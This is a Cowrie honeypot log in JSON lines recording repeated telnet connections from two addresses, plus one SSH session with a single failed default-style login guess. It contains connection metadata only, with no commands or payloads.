{"eventid":"cowrie.session.closed","duration":6.335016250610352,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:13.773683Z","src_ip":"188.208.141.113","session":"5e0cb661c9af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.83853721618652,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:16.648725Z","src_ip":"64.227.9.242","session":"b0cd30d3220f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47536,"dst_ip":"10.17.0.5","dst_port":23,"session":"916e87504999","protocol":"telnet","message":"New connection: 188.208.141.113:47536 (10.17.0.5:23) [session: 916e87504999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:16.682595Z"}
{"eventid":"cowrie.session.closed","duration":51.059319257736206,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:17.307818Z","src_ip":"188.208.141.113","session":"23b754d6d7c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.63473868370056,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:17.948771Z","src_ip":"64.227.9.242","session":"ff6af5dbc2b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.047255516052246,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:18.921746Z","src_ip":"188.208.141.113","session":"89e0def6bf96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":52672,"dst_ip":"159.203.135.109","dst_port":23,"session":"49e94d004206","protocol":"telnet","message":"New connection: 64.227.9.242:52672 (159.203.135.109:23) [session: 49e94d004206]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:25.055828Z"}
{"eventid":"cowrie.session.closed","duration":53.81117534637451,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:25.404963Z","src_ip":"188.208.141.113","session":"601585f9a9b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":52154,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c5cdee24ca3","protocol":"telnet","message":"New connection: 64.227.9.242:52154 (159.203.135.109:23) [session: 7c5cdee24ca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:25.660716Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":54532,"dst_ip":"159.203.135.109","dst_port":23,"session":"269bf929b942","protocol":"telnet","message":"New connection: 64.227.9.242:54532 (159.203.135.109:23) [session: 269bf929b942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:26.637128Z"}
{"eventid":"cowrie.session.closed","duration":45.46486806869507,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:28.533811Z","src_ip":"188.208.141.113","session":"a004979ada35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.87306785583496,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:30.534417Z","src_ip":"64.227.9.242","session":"62916d8c4678","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58642,"dst_ip":"10.17.0.5","dst_port":23,"session":"66cc5cd7d301","protocol":"telnet","message":"New connection: 188.208.141.113:58642 (10.17.0.5:23) [session: 66cc5cd7d301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:35.351255Z"}
{"eventid":"cowrie.session.closed","duration":51.91152501106262,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:35.742227Z","src_ip":"188.208.141.113","session":"d8fd5ccee6c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58646,"dst_ip":"10.17.0.5","dst_port":23,"session":"11508bab8fef","protocol":"telnet","message":"New connection: 188.208.141.113:58646 (10.17.0.5:23) [session: 11508bab8fef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:37.050949Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":37876,"dst_ip":"159.203.135.109","dst_port":23,"session":"2855b97ce29f","protocol":"telnet","message":"New connection: 64.227.9.242:37876 (159.203.135.109:23) [session: 2855b97ce29f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:37.356460Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58660,"dst_ip":"10.17.0.5","dst_port":23,"session":"6711139d7ad7","protocol":"telnet","message":"New connection: 188.208.141.113:58660 (10.17.0.5:23) [session: 6711139d7ad7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:38.079475Z"}
{"eventid":"cowrie.session.closed","duration":38.03002953529358,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:38.940640Z","src_ip":"188.208.141.113","session":"07fc33122ce1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.05212903022766,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:40.746654Z","src_ip":"188.208.141.113","session":"8a4b15e7b756","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.4091691970825195,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:40.760199Z","src_ip":"188.208.141.113","session":"66cc5cd7d301","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.64409327507019,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:40.892699Z","src_ip":"188.208.141.113","session":"878176bbcc41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":46694,"dst_ip":"159.203.135.109","dst_port":23,"session":"33e2cd28c147","protocol":"telnet","message":"New connection: 64.227.9.242:46694 (159.203.135.109:23) [session: 33e2cd28c147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:43.913218Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53068,"dst_ip":"10.17.0.5","dst_port":23,"session":"d848c2fbe533","protocol":"telnet","message":"New connection: 188.208.141.113:53068 (10.17.0.5:23) [session: d848c2fbe533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:47.023352Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":57014,"dst_ip":"159.203.135.109","dst_port":23,"session":"4392cb7f888f","protocol":"telnet","message":"New connection: 64.227.9.242:57014 (159.203.135.109:23) [session: 4392cb7f888f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:52.462915Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":58814,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c35af00392b","protocol":"telnet","message":"New connection: 64.227.9.242:58814 (159.203.135.109:23) [session: 9c35af00392b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:53.896014Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34930,"dst_ip":"10.17.0.5","dst_port":23,"session":"007767efd9c0","protocol":"telnet","message":"New connection: 188.208.141.113:34930 (10.17.0.5:23) [session: 007767efd9c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:54.181078Z"}
{"eventid":"cowrie.session.closed","duration":53.2895941734314,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:54.212544Z","src_ip":"188.208.141.113","session":"ff40f908b111","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34942,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b27cb7ab5d3","protocol":"telnet","message":"New connection: 188.208.141.113:34942 (10.17.0.5:23) [session: 7b27cb7ab5d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:54.408919Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":35054,"dst_ip":"159.203.135.109","dst_port":23,"session":"f95de4d5a06c","protocol":"telnet","message":"New connection: 64.227.9.242:35054 (159.203.135.109:23) [session: f95de4d5a06c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:57.412868Z"}
{"eventid":"cowrie.session.closed","duration":41.13566541671753,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:57.818126Z","src_ip":"188.208.141.113","session":"916e87504999","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.116251707077026,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:58.171932Z","src_ip":"64.227.9.242","session":"49e94d004206","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.375998735427856,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:00.036580Z","src_ip":"64.227.9.242","session":"7c5cdee24ca3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.81250786781311,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:00.221317Z","src_ip":"188.208.141.113","session":"7b27cb7ab5d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.46805143356323,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:02.105091Z","src_ip":"64.227.9.242","session":"269bf929b942","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.37062621116638,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:03.900207Z","src_ip":"188.208.141.113","session":"5cae8e14c2aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47852,"dst_ip":"10.17.0.5","dst_port":23,"session":"71fa2932d1ab","protocol":"telnet","message":"New connection: 188.208.141.113:47852 (10.17.0.5:23) [session: 71fa2932d1ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:04.245550Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47868,"dst_ip":"10.17.0.5","dst_port":23,"session":"5eb4d68bbb75","protocol":"telnet","message":"New connection: 188.208.141.113:47868 (10.17.0.5:23) [session: 5eb4d68bbb75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:09.599771Z"}
{"eventid":"cowrie.session.closed","duration":0.01696944236755371,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:09.616643Z","src_ip":"188.208.141.113","session":"5eb4d68bbb75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47878,"dst_ip":"10.17.0.5","dst_port":23,"session":"97a1874a99ae","protocol":"telnet","message":"New connection: 188.208.141.113:47878 (10.17.0.5:23) [session: 97a1874a99ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:09.716565Z"}
{"eventid":"cowrie.session.closed","duration":5.90019679069519,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:10.145630Z","src_ip":"188.208.141.113","session":"71fa2932d1ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":48980,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b0c63a8b6d9","protocol":"telnet","message":"New connection: 64.227.9.242:48980 (159.203.135.109:23) [session: 1b0c63a8b6d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:10.574523Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":49986,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6d8a4f51af4","protocol":"telnet","message":"New connection: 64.227.9.242:49986 (159.203.135.109:23) [session: d6d8a4f51af4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:11.067110Z"}
{"eventid":"cowrie.session.closed","duration":34.52941298484802,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:11.885745Z","src_ip":"64.227.9.242","session":"2855b97ce29f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"1.235.192.214","src_port":40244,"dst_ip":"10.17.0.5","dst_port":22,"session":"874dbb4e78cd","protocol":"ssh","message":"New connection: 1.235.192.214:40244 (10.17.0.5:22) [session: 874dbb4e78cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:15.945825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:15.950762Z","src_ip":"1.235.192.214","session":"874dbb4e78cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:16.139576Z","src_ip":"1.235.192.214","session":"874dbb4e78cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"g1tpass","message":"login attempt [git/g1tpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:16.924098Z","src_ip":"1.235.192.214","session":"874dbb4e78cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:18.115485Z","src_ip":"1.235.192.214","session":"874dbb4e78cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.971580266952515,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:19.884670Z","src_ip":"64.227.9.242","session":"33e2cd28c147","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":50004,"dst_ip":"10.17.0.5","dst_port":23,"session":"5df73fb3f8cf","protocol":"telnet","message":"New connection: 188.208.141.113:50004 (10.17.0.5:23) [session: 5df73fb3f8cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:20.020823Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":45224,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e25cce75a3e","protocol":"telnet","message":"New connection: 188.208.141.113:45224 (10.17.0.5:23) [session: 7e25cce75a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:22.212110Z"}
{"eventid":"cowrie.session.closed","duration":47.987586975097656,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:25.038424Z","src_ip":"188.208.141.113","session":"11508bab8fef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":45232,"dst_ip":"10.17.0.5","dst_port":23,"session":"584ce9292875","protocol":"telnet","message":"New connection: 188.208.141.113:45232 (10.17.0.5:23) [session: 584ce9292875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:26.307284Z"}
{"eventid":"cowrie.session.closed","duration":48.2661406993866,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:26.345540Z","src_ip":"188.208.141.113","session":"6711139d7ad7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":45234,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2c7b2ec93b2","protocol":"telnet","message":"New connection: 188.208.141.113:45234 (10.17.0.5:23) [session: e2c7b2ec93b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:26.994498Z"}
{"eventid":"cowrie.session.closed","duration":35.35986018180847,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:27.822651Z","src_ip":"64.227.9.242","session":"4392cb7f888f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.13597321510315,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:30.031882Z","src_ip":"64.227.9.242","session":"9c35af00392b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.271211385726929,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:30.578200Z","src_ip":"188.208.141.113","session":"584ce9292875","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":45528,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac3fb77c2775","protocol":"telnet","message":"New connection: 64.227.9.242:45528 (159.203.135.109:23) [session: ac3fb77c2775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:31.584586Z"}
{"eventid":"cowrie.session.closed","duration":34.18962788581848,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:31.602356Z","src_ip":"64.227.9.242","session":"f95de4d5a06c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34280,"dst_ip":"10.17.0.5","dst_port":23,"session":"38d9fcb96b6f","protocol":"telnet","message":"New connection: 188.208.141.113:34280 (10.17.0.5:23) [session: 38d9fcb96b6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:31.941709Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":46798,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2c37a0f6484","protocol":"telnet","message":"New connection: 64.227.9.242:46798 (159.203.135.109:23) [session: a2c37a0f6484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:32.733207Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34296,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b8f869a9b7e","protocol":"telnet","message":"New connection: 188.208.141.113:34296 (10.17.0.5:23) [session: 9b8f869a9b7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:35.857838Z"}
{"eventid":"cowrie.session.closed","duration":51.016765117645264,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:38.040012Z","src_ip":"188.208.141.113","session":"d848c2fbe533","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.161316871643066,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:38.342274Z","src_ip":"188.208.141.113","session":"007767efd9c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49484,"dst_ip":"10.17.0.5","dst_port":23,"session":"97ec7083ae76","protocol":"telnet","message":"New connection: 188.208.141.113:49484 (10.17.0.5:23) [session: 97ec7083ae76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:41.908671Z"}
{"eventid":"cowrie.session.closed","duration":34.368048906326294,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:44.942477Z","src_ip":"64.227.9.242","session":"1b0c63a8b6d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.29446363449097,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:47.010883Z","src_ip":"188.208.141.113","session":"97a1874a99ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.963873863220215,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:47.030833Z","src_ip":"64.227.9.242","session":"d6d8a4f51af4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49490,"dst_ip":"10.17.0.5","dst_port":23,"session":"8411bea19bf5","protocol":"telnet","message":"New connection: 188.208.141.113:49490 (10.17.0.5:23) [session: 8411bea19bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:47.777184Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":39666,"dst_ip":"159.203.135.109","dst_port":23,"session":"231236ee7487","protocol":"telnet","message":"New connection: 64.227.9.242:39666 (159.203.135.109:23) [session: 231236ee7487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:52.204186Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":40896,"dst_ip":"159.203.135.109","dst_port":23,"session":"03ec5dcf1e04","protocol":"telnet","message":"New connection: 64.227.9.242:40896 (159.203.135.109:23) [session: 03ec5dcf1e04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:56.436652Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":45520,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdc679feee87","protocol":"telnet","message":"New connection: 64.227.9.242:45520 (159.203.135.109:23) [session: fdc679feee87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:58.988568Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":47398,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c1f486a6355","protocol":"telnet","message":"New connection: 64.227.9.242:47398 (159.203.135.109:23) [session: 6c1f486a6355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:33:59.892495Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":49840,"dst_ip":"159.203.135.109","dst_port":23,"session":"32abf2fda6a8","protocol":"telnet","message":"New connection: 64.227.9.242:49840 (159.203.135.109:23) [session: 32abf2fda6a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:02.721525Z"}
{"eventid":"cowrie.session.closed","duration":33.60617184638977,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:05.547782Z","src_ip":"188.208.141.113","session":"38d9fcb96b6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":52740,"dst_ip":"159.203.135.109","dst_port":23,"session":"613b72bad759","protocol":"telnet","message":"New connection: 64.227.9.242:52740 (159.203.135.109:23) [session: 613b72bad759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:05.989200Z"}
